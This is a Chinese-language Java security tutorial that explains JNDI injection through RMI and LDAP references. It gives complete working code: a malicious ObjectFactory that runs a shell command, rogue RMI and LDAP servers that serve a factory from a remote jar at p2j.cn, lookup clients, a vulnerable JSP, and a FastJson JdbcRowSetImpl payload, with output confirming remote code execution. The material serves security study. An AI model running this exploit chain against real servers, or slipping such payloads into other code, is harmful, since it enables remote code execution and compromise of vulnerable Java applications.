在JNDI服务中允许使用系统以外的对象,比如在某些目录服务中直接引用远程的Java对象,但遵循一些安全限制。
RMI/LDAP远程对象引用安全限制
在RMI服务中引用远程对象将受本地Java环境限制即本地的java.rmi.server.useCodebaseOnly配置必须为false(允许加载远程对象),如果该值为true则禁止引用远程对象。除此之外被引用的ObjectFactory对象还将受到com.sun.jndi.rmi.object.trustURLCodebase配置限制,如果该值为false(不信任远程引用对象)一样无法调用远程的引用对象。
JDK 5 U45,JDK 6 U45,JDK 7u21,JDK 8u121开始java.rmi.server.useCodebaseOnly默认配置已经改为了true。JDK 6u132, JDK 7u122, JDK 8u113开始com.sun.jndi.rmi.object.trustURLCodebase默认值已改为了false。
本地测试远程对象引用可以使用如下方式允许加载远程的引用对象:
System.setProperty("java.rmi.server.useCodebaseOnly", "false");System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");
或者在启动Java程序时候指定-D参数:-Djava.rmi.server.useCodebaseOnly=false -Dcom.sun.jndi.rmi.object.trustURLCodebase=true。LDAP在JDK 11.0.1、8u191、7u201、6u211后也将默认的com.sun.jndi.ldap.object.trustURLCodebase设置为了false。
高版本JDK可参考:如何绕过高版本 JDK 的限制进行 JNDI 注入利用。
使用创建恶意的ObjectFactory对象
JNDI允许通过对象工厂 (javax.naming.spi.ObjectFactory)动态加载对象实现,例如,当查找绑定在名称空间中的打印机时,如果打印服务将打印机的名称绑定到 Reference,则可以使用该打印机 Reference 创建一个打印机对象,从而查找的调用者可以在查找后直接在该打印机对象上操作。
对象工厂必须实现 javax.naming.spi.ObjectFactory接口并重写getObjectInstance方法。
ReferenceObjectFactory示例代码:
package com.anbai.sec.jndi.injection;import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.util.Hashtable;/*** 引用对象创建工厂*/public class ReferenceObjectFactory implements ObjectFactory {/*** @param obj 包含可在创建对象时使用的位置或引用信息的对象(可能为 null)。* @param name 此对象相对于 ctx 的名称,如果没有指定名称,则该参数为 null。* @param ctx 一个上下文,name 参数是相对于该上下文指定的,如果 name 相对于默认初始上下文,则该参数为 null。* @param env 创建对象时使用的环境(可能为 null)。* @return 对象工厂创建出的对象* @throws Exception 对象创建异常*/public Object getObjectInstance(Object obj, Name name, Context ctx, Hashtable<?, ?> env) throws Exception {// 在创建对象过程中插入恶意的攻击代码,或者直接创建一个本地命令执行的Process对象从而实现RCEreturn Runtime.getRuntime().exec("curl localhost:9000");}}
创建恶意的RMI服务
如果我们在RMI服务端绑定一个恶意的引用对象,RMI客户端在获取服务端绑定的对象时发现是一个Reference对象后检查当前JVM是否允许加载远程引用对象,如果允许加载且本地不存在此对象工厂类则使用URLClassLoader加载远程的jar,并加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。
包含恶意攻击的RMI服务端代码:**
package com.anbai.sec.jndi.injection;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.Naming;import java.rmi.registry.LocateRegistry;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;import static com.anbai.sec.rmi.RMIServerTest.RMI_PORT;/*** Creator: yz* Date: 2019/12/25*/public class RMIReferenceServerTest {public static void main(String[] args) {try {// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类String url = "http://p2j.cn/tools/jndi-test.jar";// 对象的工厂类名String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";// 监听RMI服务端口LocateRegistry.createRegistry(RMI_PORT);// 创建一个远程的JNDI对象工厂类的引用对象Reference reference = new Reference(className, className, url);// 转换为RMI引用对象ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);// 绑定一个恶意的Remote对象到RMI服务Naming.bind(RMI_NAME, referenceWrapper);System.out.println("RMI服务启动成功,服务地址:" + RMI_NAME);} catch (Exception e) {e.printStackTrace();}}}
程序运行结果:
RMI服务启动成功,服务地址:rmi://127.0.0.1:9527/test
启动完RMIReferenceServerTest后在本地监听9000端口测试客户端调用RMI方法后是否执行了curl localhost:9000命令。
用nc监听端口:
nc -vv -l 9000
RMI客户端代码:
package com.anbai.sec.jndi.injection;import javax.naming.InitialContext;import javax.naming.NamingException;import static com.anbai.sec.rmi.RMIServerTest.RMI_NAME;/*** Creator: yz* Date: 2019/12/25*/public class RMIReferenceClientTest {public static void main(String[] args) {try {// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释// System.setProperty("java.rmi.server.useCodebaseOnly", "false");// System.setProperty("com.sun.jndi.rmi.object.trustURLCodebase", "true");InitialContext context = new InitialContext();// 获取RMI绑定的恶意ReferenceWrapper对象Object obj = context.lookup(RMI_NAME);System.out.println(obj);} catch (NamingException e) {e.printStackTrace();}}}
程序运行结果:
Process[pid=8634, exitValue="not exited"]
客户端执行成功后可以在nc中看到来自客户端的curl请求:
GET / HTTP/1.1Host: localhost:9000User-Agent: curl/7.64.1Accept: */*
上面的示例演示了在JVM默认允许加载远程RMI引用对象所带来的RCE攻击,但在真实的环境下由于发起RMI请求的客户端的JDK版本大于我们的测试要求或者网络限制等可能会导致攻击失败。
创建恶意的LDAP服务
LDAP和RMI同理,测试方法也同上。启动LDAP服务端程序后我们会在LDAP请求中返回一个含有恶意攻击代码的对象工厂的远程jar地址,客户端会加载我们构建的恶意对象工厂(ReferenceObjectFactory)类然后调用其中的getObjectInstance方法从而触发该方法中的恶意RCE代码。
包含恶意攻击的LDAP服务端代码:
package com.anbai.sec.jndi.injection;import com.unboundid.ldap.listener.InMemoryDirectoryServer;import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;import com.unboundid.ldap.listener.InMemoryListenerConfig;import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;import com.unboundid.ldap.sdk.Entry;import com.unboundid.ldap.sdk.LDAPResult;import com.unboundid.ldap.sdk.ResultCode;import javax.net.ServerSocketFactory;import javax.net.SocketFactory;import javax.net.ssl.SSLSocketFactory;import java.net.InetAddress;public class LDAPReferenceServerTest {// 设置LDAP服务端口public static final int SERVER_PORT = 3890;// 设置LDAP绑定的服务地址,外网测试换成0.0.0.0public static final String BIND_HOST = "127.0.0.1";// 设置一个实体名称public static final String LDAP_ENTRY_NAME = "test";// 获取LDAP服务地址public static String LDAP_URL = "ldap://" + BIND_HOST + ":" + SERVER_PORT + "/" + LDAP_ENTRY_NAME;// 定义一个远程的jar,jar中包含一个恶意攻击的对象的工厂类public static final String REMOTE_REFERENCE_JAR = "http://p2j.cn/tools/jndi-test.jar";// 设置LDAP基底DNprivate static final String LDAP_BASE = "dc=javasec,dc=org";public static void main(String[] args) {try {// 创建LDAP配置对象InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);// 设置LDAP监听配置信息config.setListenerConfigs(new InMemoryListenerConfig("listen", InetAddress.getByName(BIND_HOST), SERVER_PORT,ServerSocketFactory.getDefault(), SocketFactory.getDefault(),(SSLSocketFactory) SSLSocketFactory.getDefault()));// 添加自定义的LDAP操作拦截器config.addInMemoryOperationInterceptor(new OperationInterceptor());// 创建LDAP服务对象InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);// 启动服务ds.startListening();System.out.println("LDAP服务启动成功,服务地址:" + LDAP_URL);} catch (Exception e) {e.printStackTrace();}}private static class OperationInterceptor extends InMemoryOperationInterceptor {@Overridepublic void processSearchResult(InMemoryInterceptedSearchResult result) {String base = result.getRequest().getBaseDN();Entry entry = new Entry(base);try {// 设置对象的工厂类名String className = "com.anbai.sec.jndi.injection.ReferenceObjectFactory";entry.addAttribute("javaClassName", className);entry.addAttribute("javaFactory", className);// 设置远程的恶意引用对象的jar地址entry.addAttribute("javaCodeBase", REMOTE_REFERENCE_JAR);// 设置LDAP objectClassentry.addAttribute("objectClass", "javaNamingReference");result.sendSearchEntry(entry);result.setResult(new LDAPResult(0, ResultCode.SUCCESS));} catch (Exception e1) {e1.printStackTrace();}}}}
程序运行结果:
LDAP服务启动成功,服务地址:ldap://127.0.0.1:3890/test
LDAP客户端代码:**
package com.anbai.sec.jndi.injection;import javax.naming.Context;import javax.naming.InitialContext;import javax.naming.NamingException;import static com.anbai.sec.jndi.injection.LDAPReferenceServerTest.LDAP_URL;/*** Creator: yz* Date: 2019/12/27*/public class LDAPReferenceClientTest {public static void main(String[] args) {try {// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");Context ctx = new InitialContext();// 获取RMI绑定的恶意ReferenceWrapper对象Object obj = ctx.lookup(LDAP_URL);System.out.println(obj);} catch (NamingException e) {e.printStackTrace();}}}
JNDI注入漏洞利用
2016年BlackHat大会上us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf提到了包括RMI、LDAP、CORBA的JNDI注入方式攻击方式被广泛的利用于近年来的各种JNDI注入漏洞。
触发JNDI注入漏洞的方式也是非常的简单,只需要直接或间接的调用JNDI服务,且lookup的参数值可控、JDK版本、服务器网络环境满足漏洞利用条件就可以成功的利用该漏洞了。
示例代码:
Context ctx = new InitialContext();// 获取RMI绑定的恶意ReferenceWrapper对象Object obj = ctx.lookup("注入JNDI服务URL");
我们只需间接的找到调用了JNDI的lookup方法的类且lookup 的URL可被我们恶意控制的后端接口或者服务即可利用。
FastJson 反序列化JNDI注入示例
比较典型的漏洞有FastJson的JNDI注入漏洞,FastJson在反序列化JSON对象时候会通过反射自动创建类实例且FastJson会根据传入的JSON字段间接的调用类成员变量的setXXX方法。FastJson这个反序列化功能看似无法实现RCE,但是有人找出多个符合JNDI注入漏洞利用条件的Java类(如:com.sun.rowset.JdbcRowSetImpl)从而实现了RCE。
JdbcRowSetImpl示例:
<%@ page contentType="text/html;charset=UTF-8" language="java" %><%@ page import="com.sun.rowset.JdbcRowSetImpl" %><%JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();jdbcRowSet.setDataSourceName(request.getParameter("url"));jdbcRowSet.setAutoCommit(true);%>
假设我们能够动态的创建出JdbcRowSetImpl类实例且可以间接的调用setDataSourceName和setAutoCommit方法,那么就有可能实现JNDI注入攻击。FastJson使用JdbcRowSetImpl实现JNDI注入攻击的大致的流程如下:
- 反射创建
com.sun.rowset.JdbcRowSetImpl对象。 - 反射调用
setDataSourceName方法,设置JNDI的URL。 - 反射调用
setAutoCommit方法,该方法会试图使用JNDI获取数据源(DataSource)对象。
- 调用
lookup方法去查找我们注入的URL所绑定的恶意的JNDI远程引用对象。 - 执行恶意的类对象工厂方法实现RCE。
FastJson JdbcRowSetImpl Payload:
{"@type": "com.sun.rowset.JdbcRowSetImpl","dataSourceName": "ldap://127.0.0.1:3890/test","autoCommit": "true"}
FastJson JNDI测试代码:
package com.anbai.sec.jndi.injection;import com.alibaba.fastjson.JSON;/*** Creator: yz* Date: 2019/12/28*/public class FastJsonRCETest {public static void main(String[] args) {// // 测试时如果需要允许调用RMI远程引用对象加载请取消如下注释// System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");String json = "{\"@type\": \"com.sun.rowset.JdbcRowSetImpl\", \"dataSourceName\": \"ldap://127.0.0.1:3890/test\", \"autoCommit\": \"true\" }";Object obj = JSON.parse(json);System.out.println(obj);}}
序执行后nc会接收到本机的curl请求表明漏洞已利用成功:
GET / HTTP/1.1Host: localhost:9000User-Agent: curl/7.64.1Accept: */*
